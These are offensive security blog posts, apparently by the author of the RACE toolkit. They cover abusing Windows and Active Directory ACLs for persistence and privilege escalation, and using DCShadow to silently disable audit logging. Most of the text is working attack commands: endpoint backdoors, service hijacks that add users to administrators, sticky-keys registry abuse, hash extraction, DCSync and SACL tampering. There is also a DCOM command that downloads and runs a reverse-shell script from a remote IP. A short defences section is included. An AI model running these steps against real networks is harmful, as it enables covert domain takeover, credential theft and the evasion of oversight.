RACE - Minimal Rights and ACE for Active Directory Dominance

I recently spoke at DEF CON 27 on abusing Security Descriptors and ACLs i.e. permissions on Windows machines. 

You can find the slides here (also at the end of the post with minor updates). The demo videos which I used for my talk can be found here on and are also used below. 

The RACE toolkit is available on my GitHub repository.

This blog post covers whatever I could not do in my talk. There is only so much you can cover in 45 minutes. On top of that, there was some confusion and my talk was cut short by 10 minutes -.-

tldr; It is possible to execute interesting persistence and on-demand privilege escalation attacks against Windows machines by only modifying ACLs of various objects. We will need administrator privileges initially.

So, let's begin.

We are going to use 'labuser' as the attacker controlled user and 'ops' is the target domain.

About Windows Access Control Model:

Microsoft's documentation on Access Control Model explains it really well. But below is a quick summary:

Every authenticated user gets an access token. Each process or thread created by that user has a copy of that access token. The token contains identity (SIDs) and privileges of the user. 

Now, when a process tries to access a securable object (Files, Registry Keys, Services, Domain Objects etc.) it uses the access token. A securable object, by definition, has a security descriptor. A security descriptor can contain Access Control List (ACL) which is a list of Access Control Entries (ACE). There are two types of ACLs  Discretionary Access Control List (DACL) and SACL (System Access Control List). 

DACL controls access to an object and SACL controls logging of access attempts. 

So, when a process or thread tries to access a securable object, the system checks the permissions for the access token (and therefore the user) against each ACE in DACL. The process gets access in case of an explicit allow or if there is no DACL. All other cases result in an access denied. 

An ACE contains access control information. The relevant information to this discussion is access mask. The access mask in an ACE contains access rights. This governs what a user can do on an object. For example, a user may have permissions to stop a process whereas another may have the access rights to configure a process. This is what defines access in Windows. 

Minimal Permissions

Once we have understood the concept, let's think what makes a Domain Admin so powerful? 

A Domain Admin is so powerful because it has permissions to modify almost all objects on machines in a domain.

Do we need Domain Admin privileges for all the interesting things? Not really! We can use just enough rights to perform a particular task. That is, in place of having FullControl or GenericAll over an object we can use Minimal Permissions required to perform a task. 

For example, what allows a user to connect to a remote machine using PowreShell Remoting? By default, administrator rights are required. If we have a look at the ACL of the PowerShell Remoting Endpoint we understand that the Administrators group has FullControl over it:

Do we actually need 'FullControl' to access the target machine using PowerShell Remoting? No! We can connect to the target machine by adding an ACE for a user which we control and provide it Read, Write and Execute permissions. This will allow the user to access the target machine using PSRemoting without admin privileges. Please note that the user's privileges on the target machine will not be elevated!

This is what we are going to focus on. Some interesting backdoor/persistence techniques, some on-demand privilege escalation methods by modifying ACLs of various securable objects.

Introducing the RACE toolkit

To make it easy to execute ACL related attacks, I have written the RACE toolkit. RACE is dervied from Minimal Rights and ACE. You can find it on my GitHub : https://github.com/samratashok/RACE

RACE is a PowerShell module for executing ACL attacks against Windows targets.

RACE uses the ActiveDirectory module for some of the attacks (Set-ADACL and Set-DCPermissions functions). You can get it from a machine where AD DS RSAT is available or from here: https://github.com/samratashok/ADModule

Persistence - PowerShell Remoting

As we saw above, it is possible to access a target machine as a non-admin user using PSRemoting by modifying the ACL of the PSRemoting endpoint. 

Using the below commands from RACE, we can modify the ACL of the default PSRemoting endpoint. Let's run it on the DC with DA privileges (please ignore 'I/O operation has been aborted'):

. .\RACE.ps1

Set-RemotePSRemoting -ComputerName ops-dc -SamAccountName labuser –Verbose

 

Now, we will be able to access the target machine 'ops-dc' as labuser using PowerShell Remoting. Please note that the privileges will still be of labuser.

Enter-PSSession -ComputerName ops-dc

Here is a video of the above attack:



There are no logs for the ACL modification of PowerShell endpoints. Although, when accessing the target machine there will be Events 4624 (Logon) and 4634 (Logoff).

How is this access useful? We can chain this with other modified permissions. We will come back to that later.

UPDATE 29/02/2019 - Forgot to mention that this is useful against PowerShell Web Access too. If we have credentials of lab user and PSWA is enabled on the target machine, we can access the target machine using the credentials.

Persistence - WMI

Similarly, we can modify ACLs to access a machine using WMI without admin privileges. In case of WMI, we need to modify ACLs for DCOM endpoint and also for namespaces. For namespaces, we can do it for all of them or only a specific one. The below command does it for all the namespaces:

Set-RemoteWMI -ComputerName ops-mssql -SamAccountName labuser –Verbose 

 Now, we can simply run commands as 'labuser' on the target machine:

Invoke-WMIMethod -Class win32_process -Name Create -Argumentlist 'powershell -e base64encodedpayload'

WMI Permanent Event Consumers - In my testing, with modified permissions to the root\subscription namespace it was possible to create permanent event consumers but the payload never executed. This is something which someone else can explore. 

Like PSRemoting,  there are no logs for ACL modification but logs 4624 and 4634 will be there when we use WMI to access the target machine.

On-demand Privilege Escalation - Windows Services

Windows services are very useful for persistence AND getting admin privileges back.

Here is how we can abuse admin privileges with windows services:

- Initially with admin privileges, we can create new services or modify existing services to run as SYSTEM. 

- We also modify ACLs of such services to allow permissions to config and restart for a user we control.

- As the user we control, reconfigure the target service on the target machine to change its executable path to our payload. 

- Restart the service to execute the payload. 

Creating new service:

Use the below command to provide labuser GenericAll rights over scmanager (needs admin rights):

Set-RemoteServicePermissions -SamAccountName labuser -ComputerName ops-build -ServiceName scmanager -Verbose

SCManager is a special service which provides the ability to create new services on a machine. After the above command, labuser can create services on the target machine:

Set-RemoteServiceAbuse -ComputerName ops-build -UserName 'ops\labuser' -CreateService evilsvc -SamAccountName labuser -Verbose

The above command sets the service start type to auto and the account to LocalSystem. The binpath or executable of the service is set to the specified payload. By default, the payload is to add the user specified by UserName parameter to the local administrators group.

After the above command, we can either wait for the service restart or a system reboot:

If you don't want to wait, run the below command (suggested by the tool) with admin privileges on the target machine to get restart permissions for the created service for our user:

Set-RemoteServicePermissions -SamAccountName labuser -ServiceName evilsvc -ComputerName ops-build -Verbose

Now, when we restart the 'evilsvc' service, 'labuser' is added to the local administrators group on the target machine.

sc.exe \\ops-build start evilsvc 

 

Modifying existing service:

With admin equivalent permissions (CCDCLCSWRPWPDTLOCRSDRCWDWO) on any service, we can abuse it to escalate privileges. Please refer to the documentation for a full list of the rights.

The below command modifies the ACL of ALG service on the target machine to provide 'labuser' enough rights to configure and restart the service:

Set-RemoteServicePermissions -SamAccountName labuser -ComputerName ops-build -ServiceName ALG -Verbose

Next, run the below command as labuser:

Set-RemoteServiceAbuse -ComputerName ops-build -UserName 'ops\labuser' -ServiceName ALG -Verbose 

Now, when we restart the ALG service, labuser is added to the local administrators group on the target machine.

Below is a video of the attack:

I prefer using an existing service in place of creating a new one.

Please note both the methods are verbose in the logs. Service creation, service configuration changes and service stop/start is logged. Therefore, this method is not recommended on DCs or when you want to be stealthy. 

On-demand Privilege Escalation - Registry Autoruns

Windows registry is a very attractive target for persistence with on-demand privilege escalation. As a very simple example, let's have a look at Image File Execution Options which is a popular method of running a payload as SYSTEM using 'sticky keys'. 

The idea is to modify the ACL of the Registry key responsible for Remote Registry (HKLM:\ SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg) and for sethc.exe (HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe) to be able to change registry remotely without needing admin privileges. To be able to trigger this remotely on a RDP logon session, NLA needs to be disabled by modifying (HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp).

Run the below commands with admin privileges on the target machine to setup the registry key permissions:

Set-RemoteRegistryPermissions -SamAccountName labuser -ComputerName ops-mssql -Verbose 

Set-RegistryImageFileExecution -SamAccountName labuser -ComputerName ops-mssql -Verbose 

Then run the below command as labuser to set payload for sethc and to disable NLA:

Invoke-RegistryAbuse -ComputerName ops-mssql -Method ImageFileExecution -Verbose 

Now, try to connect to the target machine using RDP and press the Shift key five times to get a command prompt with SYSTEM privileges!

The particular method we used is not very silent (even some AVs flag modification of Image File Execution Options registry key) and actually downgrades the security of the target machine. So please use this carefully in an actual operation. 

Implementing some better registry key based command execution is something which is in future goals of the RACE tool.

Persistence - DCOM

We can modify the ACL of the DCOM endpoint (recall that we already did that while abusing WMI) for persistence. Like WMI, we will have command execution with the privileges of only the current user. But as we will see soon, something like that is very helpful when chained with other ACL modifications. 

Run the below command with admin rights on the target machine to modify ACL of DCOM endpoint:

Set-DCOMPermissions -UserName labuser -ComputerName ops-mssql -Verbose 

Now, run the below command as labuser to execute commands using DCOM on the target machine. By default, the method used for execution is MMC20.Application class.

Invoke-DCOMAbuse -ComputerName ops-build -Method MMC20 -Arguments 'iex(iwr -UseBasicParsing http://192.168.100.31:8080/Invoke-PowerShellTcp.ps1)' 

On demand Privilege Escalation - Just Enough Administration (JEA)

JEA is a PowerShell v5 feature which provides control over administrative tasks by providing PowerShell Remoting endpoint with:

- Virtual accounts - temporary local accounts which are local admin on member machines and DA on DCs but no rights to manage resources on network. 

- Ability to limit the cmdlets and commands which a user can run through Role Capabilities. 

JEA is designed to 'allow non-admins to do some admin tasks' with 'least privileges'. This is precisely what we have been doing so far. 

So, JEA provides admin rights to anyone who is explicitly allowed to connect to the endpoint. But the control on those administrative rights is because of the commands and cmdlets they can execute as a JEA session starts in NoLanguage mode. Only explicitly allowed commands and cmdlets are allowed. It is possible to only allow a single command with only one parameter or argument allowed!

JEA endpoints also have transcripts enabled so that all the commands and their outputs are written to a flat text file. In addition to that, Event logs for 'WinRM Virtual Users\WinRM_VA_AccountNumber_domain_username' will be logged. PowerShell script block logging may also log any suspicious logs. 

With all these checks, how can we abuse JEA? Look at the JEA Security Considerations for some evil ideas ;) 

With admin privileges on the target machine, we can Register a new JEA endpoint, allow all the cmdlets and commands and allow a user we control to connect to it. We can set the transcript log path to user's temp directory and clear the transcripts when we connect to the machine. 

Let's use this against a DC. Run the below command with DA privileges to create a JEA Endpoint 'microsoft.powershell64' which allows access to labuser:

Set-JEAPermissions -ComputerName ops-dc -SamAccountName labuser -Verbose 

 Now, as labuser we can access the DC and get DA privileges for local context:

Enter-PSSession -ComputerName ops-dc -ConfigurationName microsoft.powershell64 
 

Neat, isn't it!

Below is a video of the attack:



Please note that there are no logs for new session registration. But, there are Events 4624, 4634 and 4717 when we access the target machine. Alos, keep in mind the PowerShell logs.

The best way to avoid against JEA abuse really is to audit the registered session configurations and role capabilities. A good guidance on audit and report on JEA is here.

Persistence - Registry

Windows registry stores many interesting credentials - Machine account, Local users and Cached domain credentials. By modifying the ACL for the registry keys where we store these credentials, it is possible to access these credentials without needing admin privileges later on. We need to modify permissions of the following registry keys:
- HKLM:\ SYSTEM\CurrentControlSet\Control\Lsa\
- HKLM:\Security\
- HKLM:\SAM\

Once we have modified the ACLs of these keys, we can then modify ACL of Remote registyr, WMI or PowerShell Remoting to access the machine and extract the credentials.

RACE uses code from the DAMP toolkit for this:

Use the below command to modify the permissions of the above registry keys and remote registry. We are targeting a DC so need DA privileges.:

Add-RemoteRegBackdoor -ComputerName ops-dc -Trustee labuser -Verbose

Now, use the below command to extract the machine account hash (uses remote registry):

Get-RemoteMachineAccountHash -ComputerName ops-dc -Verbose

ICYMI, machine account of DC can run the DCSync attack!

Use the Get-RemoteLocalAccountHash function to ectract local acccount hashes. In case of the DC, this gives the NTLM hash of the DSRM account!


Remeber that we left a question - how modifying ACLs of PSRemoting is useful? This is a very good example. in case you cannot access remote registry (for example, filtered on firewall), you can modify the ACL of PSRemoting and the Registry keys and extract the secrets from the DC without admin privileges:

$opsdc = New-PSSession -ComputerName ops-dc

Invoke-Command -FilePath C:\RACE-master\RACE.ps1 -Session $opsdc

Enter-PSSession $opsdc

Get-RemoteMachineAccountHash

Sweet!
Below is a video of the attack:


Note that there is no log for change in permission of the registry keys. But as for the other attacks, there will be 4624 and 4634 log entries when accessing the DC.

On demand Privilege Escalation on DC - DNSAdmins

DNSAdmins is an AD security group which has the capability to load arbitrary DLLs from a UNC path in the DNS service. See this post and my post. This group is effectively DA equivalent if DNS service is running on a DC.

The group has Read, Write, Create All Child objects, Delete Child objects, Special Permissions on the DNS Server object. We can either:
- Modify ACL of the DNS Server object to have the same rights as the DNSAdmins group to abuse the DLL configuration feature.

or

- Modify the ACL of the DNSAdmins group because it is not a Protected Group (ACL not protected by AdminSDHolder)

Let's modify the ACL of the DNS Server object to be able to load DLL remotely and also provide service start and stop rights on the DNS service for a user we control. Use the below command:

Set-DNSAbusePermissions -SAMAccountName labuser -DistinguishedName 'CN=MicrosoftDNS,CN=System,DC=offensiveps,DC=powershell,DC=local' -ComputerName ops-dc -Verbose 

Now, use the below command as labuser to load mimilib.dll from Mimikatz to load the DLL in DNS Service. Please note that the DNSServer module from DNS RSAT is required for the below command:

Invoke-DNSAbuse -ComputerName ops-dc -DLLPath \\ops-build\dll\mimilib.dll -Verbose 

On demand Privilege Escalation on DC - DSRM Administrator

DSRM administrator is a special 'local administrator' account on a DC. This is very useful for persistence as it is seldom changed. By default, this user cannot logon from network. But this logon behavior can be changed by modifying the registry key - HKLM:\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior and set its value to 2.

This means, once we have DA privileges, we can:

- Extract the hash for DSRM administrator (Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"') or we can  also chain this with modification of registry keys, as discussed previously, to obtain the DSRM hash without admin privileges.

- Modify the permissions of the above registry key so that a user we control can change it on demand.

- Use Mimikatz PTH to connect to the DC.

Lets try it. Run the below command to modify the DSRMLogonBehavior registry key and allow labuser to modify it anytime. If the key doesn't exist, it is created:

Set-DCPermissions -Method DSRMAdmin -SAMAccountName labuser -Server ops-dc -Verbose 

As labuser, we can modify the registry key. Note that this needs to be coupled with modification of ACL of a remote access method (PSRemoting, WMI, Remote Registry or DCOM). Let's use PSRemoting for that:

Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD

Now, we can use PTH (note the /domain parameter in the below command) to access the DC. We need to use NTLM authentication to access the DC as we are using a local account:

Invoke-Mimikatz -Command '"sekurlsa::pth /domain:ops-dc /user:Administrator /ntlm:<ntlmhash> /run:powershell.exe"'

Enter-PSSession ops-dc -Authentication Negotiate  

Persistence using DC - Resource-based Constrained Delegation (RBCD)

Resource-based Constrained Delegation enables the resource owner to set delegation to it. Unlike the traditional Delegation, DA privileges are not required to set RBCD.

As per this post, for Generic DACL abuse of RBCD, if a user we control has Write permissions on a computer object, that user can configure RBCD on the machine. This allows the ability to access the target machine as any user including DA.

Use the below command to give labuser permissions to configure RBCD on 'ops-file' by modifying the ACLs of ops-file computer object. This will need DA privileges:

Set-DCPermissions -Method RBCD -DistinguishedName 'CN=OPS-FILE,OU=Servers,DC=offensiveps,DC=powershell,DC=local' -SAMAccountName labuser -Verbose 

As labuser, run the below command (needs the ActiveDirectory module) to configure RBCD from attacker machine ops-user1$ to ops-file. This enables us to access ops-file as any user when we impersonate the ops-user1 machine:

Set-ADComputer -Identity ops-file -PrincipalsAllowedToDelegateToAccount ops-user1$

We can extract the AES256 keys for the ops-user1$ account by dumping credetials on that machine (Invoke-Mimikatz -Command '"sekurlsa::ekeys"').

Now, we can use Rubeus to impersonate a DA which effectively means local admin on ops-file.

.\Rubeus.exe s4u /user:ops-user1$ /aes256:AES256KeyofUser1$ /msdsspn:cifs/ops-file /impersonateuser:administrator /ptt 

Please note that we are merely impersonating the DA for accessing ops-file. We cannot access any other machine from ops-file as DA.

Persistence using DC - Exchange Groups

Exchange creates multiple groups on installation. Groups like Exchange Servers, Exchange Trusted Subsystem and Exchange Windows Permissions have interesting permissions. The groups are added in a new container 'Microsoft Exchange Security Groups'. 

None of the Exchange Groups is a protected group so we can modify their ACLs for persistence.

Let's target the Exchange Windows Permissions group which has WriteDACL permission on the domain object (or even forest root domain object depending on the installation).

In our example, we target the Exchange Windows Permissions group on the forest root powershell.local. 

Using DA privileges (on forest root in this case), run the below command to provide labuser WriteDACL permissions on the Exchange Windows Permissions group:

Set-DCPermissions -Method GroupDACL -DistinguishedName 'CN=Exchange Windows Permissions,OU=Microsoft Exchange Security Groups,DC=powershell,DC=local' -SAMAccountName ops\labuser -Verbose 

Now, as labuser, we modify the ACL of the Exchange Windows Permissions group and add WriteMember rights to labuser. Note that this is just one of the paths once we have WriteDACL on the group:

Set-ADACL -SamAccountName ops\labuser -DistinguishedName 'CN=Exchange Windows Permissions,OU=Microsoft Exchange Security Groups,DC=powershell,DC=local' -GUIDRight WriteMember -Server powershell.local -Verbose

Next, add labuser (or a proxy user) to the Exchange Windows Permissions group. Because of this group membership, labuser will have WriteDACL rights on the domain object of the forest root:

$user = Get-ADUser -Identity labuser

$group = Get-ADGroup -Identity 'Exchange Windows Permissions' -Server powershell.local

Add-ADGroupMember -Identity $group -Members $user -Verbose

Usig the WriteDACL rights with labuser, add DCSync rights for labuser:

Set-ADACL -SamAccountName ops\labuser -DistinguishedName 'DC=powershell,DC=local' -GUIDRight DCSync -Server ps-dc -Verbose

Finally, run the DCSync attack:

Invoke-Mimikatz -Command '"lsadump::dcsync /user:ps\krbtgt /domain:powershell.local"'

Below is a video of the attack:


Other well known techqniues implemented in the RACE tookit are:

AdminSDHolder

ICYMI, the ACL of the AdminSDHolder is overwritten on all Protected Groups by an automatic process called SDProp every 60 minutes. This means any changes we do to the ACL of AdminSDHolder will be propagated to all the Protected Groups too. Therefore, it is a very interesting persistence technique.

Use the below command as DA to add WriteDACL permissions for labuser on AdminSDHolder:

Set-DCPermissions -Method AdminSDHolder -SAMAccountName labuser -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=offensiveps,DC=powershell,DC=local' -Verbose 

This allows us to push whatever permissions we want on all the Protected Groups as labuser:

Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=offensiveps,DC=powershell,DC=local' -Principal labuser -Right GenericAll -Verbose 

DCSync

The most famous ACL abuse. We can modify the ACL of the domain object to provide DCSync rights to a user we control. Run the below as DA:

Set-DCPermissions -Method DCSync -SAMAccountName labuser -DistinguishedName 'DC=offensiveps,DC=powershell,DC=local' -Verbose

DCShadow

DCShadow provides very useful forest persistence. See this and this.

With DA privileges on forest root and from a machine joined to forest root, run the following command to modify ACLs of multiple objects. This will allow to run DCShadow without DA:

Set-DCShadowPermissions -FakeDC ops-user1 -SAMAccountName serviceuser -Username labuser -Verbose 

The above command modifies ACLs for:

The domain object.

- DS-Install-Replica (Add/Remove Replica in Domain)

- DS-Replication-Manage-Topology (Manage Replication Topology)

- DS-Replication-Synchronize (Replication Synchronization)

The Sites object (and its children) in the Configuration container.

- CreateChild and DeleteChild

The object of the computer which is registered as a DC - ops-user1 above.

WriteProperty (Not GenericWrite)

The target object - serviceuser above

WriteProperty (Not GenericWrite)

We can now run DCShadow against serviceuser from ops-user1 as labuser.

Previous work

Directly taken from my talk slides:

- ACL abuse is not something new, system administrators have been using this for so many years!

- We can still see articles from 2001 talking about setting Launch Permissions for DCOM, for WMI from 2002 and so on.

- (French) Chemins de contrôle en environnement Active Directory
https://www.sstic.org/2014/presentation/chemins_de_controle_active_directory/

- An ACE Up the Sleeve Designing Active Directory DACL Backdoors (DEF CON 25) https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/DEF%20CON%2025%20-%20Andrew-Robbins-and-Will-Schroeder-An-Ace-Up-The-Sleeve.pdf

Defenses

Protecting your privileged users is definitely the best defense.

Event logs are also useful for detecting these attacks. While there are almost no logs for ACL changes in the default configuration, we can still use the security logs when someone accesses a target machine using Events 4624, 4634 and 4672 in case of admin logon.

For ACL change logs, configure Auditing for ACL changes. See this technet article for guidance.

Regular ACL auditing is also useful in weeding out unnecessary or malicious ACEs. We can use tools like BloodHound, ADACLScanner and PingCastle for that.

A project I created Deploy-Deception, can be used in creating accounts which have mis-configured ACLs and have verbose logging enabled. It is useful tricking an attacker in assuming they found object(s) with misconfigured ACLs

Future Work

Directly taken from my talk slides:

- Service Permissions are stored in Registry. So, that is a place ripe for abuse.
-  As noted earlier, WMI Permanent Event Consumer needs to be explored more.
- For the RACE toolkit, work on hiding the ACE we introduce is highly desirable. Also, implementation of more Registry Autoruns! Currently, Remove option does not work for multiple functions.

That is all! Hope you like it!

Slides of the DEF CON 27 talk:

RACE - Minimal Rights and ACE for Active Directory Dominance from Nikhil Mittal

Silently turn off Active Directory Auditing using DCShadow

My fascination with DCShadow continues, thanks to Vincent and Benjamin. I blogged about it previously as well.

One very interesting thing which I recently discovered is the ability to DCShadow to modify System Access Control List or SACL. When we enable auditing on success or failure on an AD object, an entry (called ACE - Access Control Entry) is added to the SACL of that object. The permissions to an object are controlled by a DACL. For example, we modified DACL of AdminSDHolder in the previous post for persistence.

The Problem

So, SACL controls auditing (logging) for an AD object. This means if we would like to avoid logs for our activities during an assessment , we should turn it off at the very first chance. Right? But is it that easy?

Let's assume that full auditing is turned on the AdminSDHolder container and even a read operation is logged. This is what the SACL looks like:

The SACL governs logging of stuff. For example, with the above auditing settings, if we add Full Control rights for a user to the AdminSDHolder for persistence, an Event ID 4662 is logged:

Now, we would like to turn auditing off for the AdminSDHolder object so that the above logs are avoided. Right? Right? ;)

This can be done by removing the ACEs. But it is not as silent as we would like it to be. Removing ACEs results in more 4662s:

In case we were targeting a user object and remove auditing for it, a 4738 (User Account Management) in addition to multiple 4662s is logged.

The Solution

Now, how does DCShadow help? Try the below commands to set ACL of the AdminSDHolder to turn off the enhanced auditing:

mimikatz # lsadump::dcshadow /object:"CN=AdminSDHolder,CN=System,DC=offensiveps,DC=com" /attribute:ntSecurityDescriptor /value:"O:DAG:DAD:PAI(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCDCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;LCRPLORC;;;RU)(A;;CCDCLCSWRPWPLOCRRCWDWO;;;DA)(A;;CCDCLCSWRPWPLOCRRCWDWO;;;S-1-5-21-3270384115-3177237293-604223748-519)(OA;;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;;WD)(OA;CI;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(OA;;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;;PS)(OA;;RP;46a9b11d-60ae-405a-b7e8-ff8a58d456d2;;S-1-5-32-560)(OA;;RPWP;5805bc62-bdc9-4428-a5e2-856a0f4c185e;;S-1-5-32-561)(OA;;RPWP;6db69a1c-9422-11d1-aebd-0000f80367c1;;S-1-5-32-561)(OA;;RPWP;bf967a7f-0de6-11d0-a285-00aa003049e2;;CA)S:PAI(AU;CIFA;DT;;;WD)"

Bingo! No logs for turning off logging. Of course, I cannot show you no logs :P But we can see the new SACL:

Please note that we will still have logs related to DCShadow (4742 for the Computer registered as DC and 4662 for the domain object) but nothing else.

Note that the auditing entry in the above is S:PAI(AU;CIFA;DT;;;WD)

What does that mean?
S: - SACL
PAI -  Inheritance from higher up objects is blocked
AU - System Audit
CI - Container Inherit - The child objects inherit this.
FA - Audit Failure
DT - Delete Tree - No specific reason for using this other than chances of this being logged are low.
WD - Everyone
If you are not familiar with SDDL, go through these Technet posts to begin: The Security Descriptor Definition Language of Love (Part 1) and Part 2.

So why the above entry? No special reason. I thought, it would be better to leave an entry than removing all of it. If you want an ineffective SACL use just S:PAI. This is how it looks in the GUI:

You can use the below code for reading existing ACLs for an object. To easily get the desired ACE, set it up using GUI and then read the entries using the below code:

PS C:\> Import-Module ActiveDirectory
PS C:\> (Get-Acl 'AD:\CN=AdminSDHolder,CN=System,DC=offensiveps,DC=com' -Audit).SDDL

Further Research

This is sweet but there are so many chances of further research on this. Like, there is still a single 4662 logged when mimkatz does "Attributes Checking" before we push the attributes. I read the source code of mimikatz and tried to avoid that read, but no success.

Also, I cannot find a way to turn off default SACL for the domain object. In theory, this should be easily doable with similar commands we used above!

Also, there are detections based on absence of logs as well. Unless we go for minimal modification to auditing we will still be detected.

Hope you liked the post :)

DCShadow - Minimal permissions, Active Directory Deception, Shadowception and more

DCShadow is an awesome persistence technique introduced by Vincent and Benjamin at BluteHat IL and it can be executed with the help of mimikatz. 

In very simplified terms, DCShadow alters active directory schema (Configuration partition and SPN of the attacker machine) to mimic a domain controller. This "new" domain controller can then be used to push attributes (like SID History, Password History, SPNs etc.) and other data on domain objects for users, computers etc. Please visit dcshadow.com and above linked preso for more details. There are couple more interesting posts at ALSID blog and NOPSEC blog which are very useful in understanding DCShadow.

In this blog post, I make notes of some of the use cases of DCShadow and couple of experiments I did while using it. Please keep in mind that I am still playing with this technique :)

Executing DCShadow

Grab the latest build of mimikatz from its GitHub repo or Invoke-Mimikatz from Nishang. The attack must be executed from a domain joined machine and needs SYSTEM privileges on the machine and by-default, domain administrator (DA) privileges on the domain.

Please keep in mind that the SYSTEM requirement is for process context and not thread. I learnt this the hard way but thankfully, a very patient Vincent and the source code helped me out :)

So, here is how to use it:

1. Start mimikatz and use !processtoken (and not token::elevate - as it elevates a thread) to escalate to SYSTEM. Make sure to use !processtoken before opening another instance of mimikatz, This is the mimikatz instance where we will specify the target object and attributes to be modified.

2. Start another mimikatz with DA privileges. This is the instance which registers a DC and is used to "push" the attributes. 

We are now ready to use dcshadow. For example, use the below command from mimikatz running as SYSTEM to change userAccountControl value of a computer object. Mimikatz makes checks for validity of object and attributes which is awesome!

mimikatz # lsadump::dcshadow /object:ops-user19$ /attribute:userAccountControl /value:532480

To push the above attributes, run the below command from mimikatz running as DA.

mimikatz # lsadump::dcshadow /push

On the other mimikatz session, we can see the values are updated and RPC server is stopped.

Let's check the userAccountControl attribute of the computer object we modified.

PS C:\> ([adsisearcher]"(&(objectCategory=Computer)(name=ops-user19))").Findall().Properties.useraccountcontrol

Works like a charm with Invoke-Mimikatz as well.

 

Please keep in mind that even on a local machine with interactive access, Invoke-Mimikatz does not show the message of "RPC server started" until the push command is executed, probably because of output redirection issues.

DCShadow for Red Teams

Minimal permissions
DCShadow provides amazing persistence opportunities. Many well known ones as well as some new stuff, can be executed with it without leaving logs on the DC. While learning about it, I started wondering if there is a way to use DCShadow without DA privileges? Like most domain persistence methods, we do not need DA privileges all the time for DCShadow but only for setting it up. For using it later on, only a subset of permissions are required.

After spending much time reading MS documentations on MS-DRSR and MS-RPCE to understand the errors shown by mimikatz when not using DA and experimenting with permissions, I was able to segregate the permissions required for running DCShadow without having DA privileges!

What does that mean? That means, you need DA privileges just once to set up the required minimal permissions for user of your choice. That user can successfully run DCShadow against a specific object later on. What are the rights required?

Following (extended rights) for the domain object:
- DS-Install-Replica (Add/Remove Replica in Domain)
- DS-Replication-Manage-Topology (Manage Replication Topology)
- DS-Replication-Synchronize (Replication Synchornization)

We also need WriteProperty right on the computer object of machine which is used for attack (gets registered as a DC) to modify SPNs and the target object to modify attributes.

Lastly, CreateChild and DeleteChild permissions are required on the Sites object (and child objects) in the Configuration container to register and un-register a DC.

To automate modification of the objects, I give you Set-DCShadowPermissions.ps1 in Nishang, a PowerShell script which sets minimal permissions for executing DCShadow attack! Use the below command with DA privileges to set permissions for user "labuser" to modify permissions on computer object ops-user19 from the computer ops-user12. 

PS C:\> . C:\nishang\ActiveDirectory\Set-DCShadowPermissions.ps1
PS C:\> Set-DCShadowPermissions -FakeDC ops-user12 -Object "ops-user19" -Username labuser -Verbose

 

Now, the mimikatz command can be executed without DA privileges. Please note that the command output is same as when using DA (see the screenshots in the beginning of the post).

Neat isn't it! Append the -Remove parameter at the end of the above command for cleanup.

Note that logs (4662 for changes made to ACL of the domain object, 4742 for changes made to ACL of attacker's computer object and 4738 if the target is a user object)  are generated when you modify ACLs using Set-DCShadowPermissions but so is true for other methods required to persist with high privileges.

Once we have the permissions (or DA), we can use DCShadow for tons of interesting things. Let's have a look at some of them. Please note that I am going to use all of them without DA by modifying permissions using Set-DCShadowPermissions:

SIDHistory
Very useful, also mentioned in the DCShadow presentation. Set the SIDHistory of an account to a high privilege one like DA or EA group and we are all set for highest privileges without having to modify any Group Membership or ACL.

PS C:\> Set-DCShadowPermissions -FakeDC ops-user12 -Object helpdeskuser -Username labuser -Verbose

mimikatz # lsadump::dcshadow /object:helpdeskuser /attribute:SIDHistory /value:S-1-5-21-3270384115-3177237293-604223748-519

 
PrimaryGroupID
This too is from the preso. Change the primaryGroupID of an object to a high privileged one for higher privileges.

mimikatz # lsadump::dcshadow /object:helpdeskuser /attribute:primaryGroupID /value:519

There is a catch though, if this is used to change primaryGroupID of a user to a privileged group, that user may show up in listing of that group which is not really stealthy. Note that this listing in the group depends on the tool used for enumeration. For example, in the below screenshot, the user "helpdeskuser" shows up as a member of "Enterprise Admins" group when using net.exe (or Get-ADGroupMember from the activedirectory module) but not when using PowerView ;)

AdminSDHolder
Like the simpler attributes we modified above, it is possible to modify ACLs on objects using DCShadow by modifying the ntSecurityDescriptor attribute. This ability allows even more interesting stuff. For example, modifying AdminSDHolder ACL for persistence.

To use this, we need to read the existing SDDL on the AdminSDHolder container and add permissions for our user's SID. Quite similar to what I used in Set-RemoteWMI

PS C:\> (New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC=offensiveps,DC=com")).psbase.ObjectSecurity.sddl

To add Full Control permission we can use permissions of the BA, DA or EA (highlighted in the above screenshot) and append our user's SID. The resulting below string needs to be added to the SDDL of AdminSDHolder.

(A;;CCDCLCSWRPWPLOCRSDRCWDWO;;;S-1-5-21-3270384115-3177237293-604223748-2111)

Use the below mimkatz command for DCShadow. Make sure you use the colon ":" for specifying values to parameters:

